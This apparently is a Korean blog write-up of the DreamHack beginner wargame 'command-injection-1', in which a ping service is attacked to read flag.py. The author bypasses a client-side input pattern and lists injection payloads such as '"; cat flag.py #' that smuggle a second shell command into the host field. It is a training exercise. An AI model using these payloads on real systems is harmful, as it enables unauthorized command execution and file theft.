본문 바로가기
IT Security/DreamHack

드림핵 워게임 command-injection-1 문제 풀이 정리

by 바닐라이코노미 2024. 11. 13.
반응형

드림핵 사이트의 워게임 중 웹 해킹 관련

command-injection-1 (Beginner) 문제에 대해서 정리해보려 합니다

 

<문제설명>

특정 Host에 ping 패킷을 보내는 서비스입니다.
Command Injection을 통해 플래그를 획득하세요. 플래그는 flag.py에 있습니다.

 

<문제를 풀기 위한 시도 정리>

제공해 준 서버에 접속하면 아래와 같은 화면이 나온다

 

8.8.8.8 로 입력 (ping 확인이 된다 해당 입력창이 command 명령어가 먹는다를 확인)

 

8.8.8.8111 로 입력 (ping은 확인이 안 된다 하지만 해당 입력창이 command 명령어가 먹는다를 확인)

 

본격적으로 command 명령어 입력 시도 문자 입력을 시도하는데 아래와 같은 문구 확인

입력문자 ; echo 'echo hello

 

개발자도구를 통해 확인해본 결과 pattern 속성이 되어있었고,

알파벳숫자 조합으로 5자 이상 20자 이하로 형식이 제한되어 있음을 확인

 

pattern 속성값을 삭제하고 command injection을 시도

# 시도했던 command 명령어
8.8.8.8
8.8.8.8111
; echo 'echo hello
aaaa <-- 길이 확인을 위해 5자 이상인지 앞, 뒤 둘중 하나만 확인 하면 되므로
aaaaa <-- 길이 확인을 위해 5자 이상인지 앞, 뒤 둘중 하나만 확인 하면 되므로
### 여기서 부터 pattern 삭제 후 시도 
; echo 'echo hello
""echo hello""
"; echo 'echo hello';
"; echo hello;
"; echo 'hello'
; ls 
; ls -al
"; "ls -al
"; ls -al;"
"; echo 'hello' # <-- 성공
"; ls -a #" <-- 성공
"; ls # <-- 성공
"; cat flag.py #" <-- DH 플래그 확인

 

앞에 값을; 닫고, 뒤에 부분에 원하는 명령어를 입력하고 # 주석처리를 해야 함을 확인 (sqli와 비슷)

"; echo 'hello' # 입력

 

";  ls # 입력

 

";  cat flag.py # 입력

하면 원하던 flag 값을 얻을 수 있다

 

문제 출처 및 참조

https://learn.dreamhack.io/

반응형